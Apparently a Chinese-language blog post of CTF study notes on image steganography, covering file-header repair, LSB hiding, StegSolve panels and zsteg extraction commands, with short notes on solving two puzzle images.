<content type="html"><![CDATA[<h3 id="1、头文件缺失"><a href="#1、头文件缺失" class="headerlink" title="1、头文件缺失"></a>1、头文件缺失</h3><p><img src="https://img-blog.csdnimg.cn/20200714132519595.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FURldVUw==,size_16,color_FFFFFF,t_70" alt="img"></p><p>zip文件头:50 4B 03 04</p><p>PNG文件头:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D</p><p>对于文件头缺失的文件,一般都是粘贴,如果选择写入会覆盖原来的</p><p>图片高度有问题修改第二排前16位,前面是宽后面是高</p><h3 id="2、LBS隐写:最低有效位-StegSolve"><a href="#2、LBS隐写:最低有效位-StegSolve" class="headerlink" title="2、LBS隐写:最低有效位 StegSolve"></a>2、LBS隐写:最低有效位 StegSolve</h3><p>用嵌入的秘密信息取代载体图像的最低比特位,原来的7个高低平面与替代 秘密信息的最低位平面组合成含隐藏信息对等的新图形。</p><p>png图片:一种无损压缩的位图片形格式,也只有在无损压缩或者无压缩的 图片(BMP)上实现lsb隐写。</p><p>如果图像是jpg图片的话,就没法使用lsb隐写了,原因是jpg图片对像数进行了有损压缩,我们修改的信息就可能会在压缩的过程中被破坏。</p><p>而png图片虽然也有压缩,但却是无损压缩,这样我们修改的信息也就能得到正确的表达,不至于丢失。BMP的图片也是一样的,是没有经过压缩的。BMP图片一般是特别的大的,因为BMP把所有的像数都按原样储存,没有进行压缩。</p><p>LSB隐写就是修改RGB颜色分量的最低二进制位也就是最低有效位(LSB)每个像数可以携带3比特的信息。</p><p><img src="https://image-static.segmentfault.com/108/897/1088978167-5b88d68b97c13_articlex"></p><p>修改最低有效位的信息的算法就叫做lsb加密算法,提取最低有效位信息的算法叫做lsb解密算法。</p><p>由于图像是由像素构成的,每个像素有8位(对于BMP图像来说),通常最后一位的变化,通过肉眼是无法察觉的</p><p>MSB是最高有效位,Bit Plane Order代表颜色的排序方式</p><p>字节上的读取顺序与<code>Bit Order</code>选项有关,如果设置了MSBFirst,是从高位开始读取,LSBFirst是从低位开始读取</p><p>先左右滑动查看,发现red、blue、green均为0 </p><p><img src="https://img-blog.csdnimg.cn/20201128155355874.png"></p><p>然后选择Data Extract,抽取数据</p><p><em>File Format:文件格式,这个主要是查看图片的具体信息</em></p><p><em>Data Extract:数据抽取,图片中隐藏数据的抽取</em></p><p><em>Frame Browser:帧浏览器,主要是对GIF之类的动图进行分解,动图变成一张张 图片,便于查看</em></p><p><em>Image Combiner:拼图,图片拼接</em></p><h3 id="3、zsteg:"><a href="#3、zsteg:" class="headerlink" title="3、zsteg:"></a>3、zsteg:</h3><p>(1)查看LSB:</p><pre><code>zsteg xxx.bmp zsteg xxx.png zsteg -a (文件名) #查看各个通道的lsb</code></pre><p>(2)检测zlib:</p><pre><code>#-b的位数是从1开始的 zsteg zlib.bmp -b 1 -o xy -v</code></pre><p>(3)提取该通道图片:</p><pre><code>zsteg -e b8,a,lsb,xy 文件.png -> out.png</code></pre><p>先放winhex里,没有找到flag,kali打开,没有修改宽高,binwalk分析,没有隐藏文件,尝试用zsteg工具,发现一串base密码,解密即可</p><h3 id="4、动图"><a href="#4、动图" class="headerlink" title="4、动图"></a>4、动图</h3><p>看到动图先一帧一帧的看但是没有看到任何信息</p><p>尝试用StegSolve查看,向左查看发现red plane 7的时候变化较大,用Frame Browser(帧浏览器)查看,发现只有上半的时候可能藏有flag,再保存下来,查看到red plane 2 的时候即可发现flag。(这道题没怎么明白原理)</p>]]></content>
<categories>
<category> Misc </category>
</categories>
<tags>
<tag> Misc </tag>
<tag> 图片隐写 </tag>
</tags>
</entry>
</search>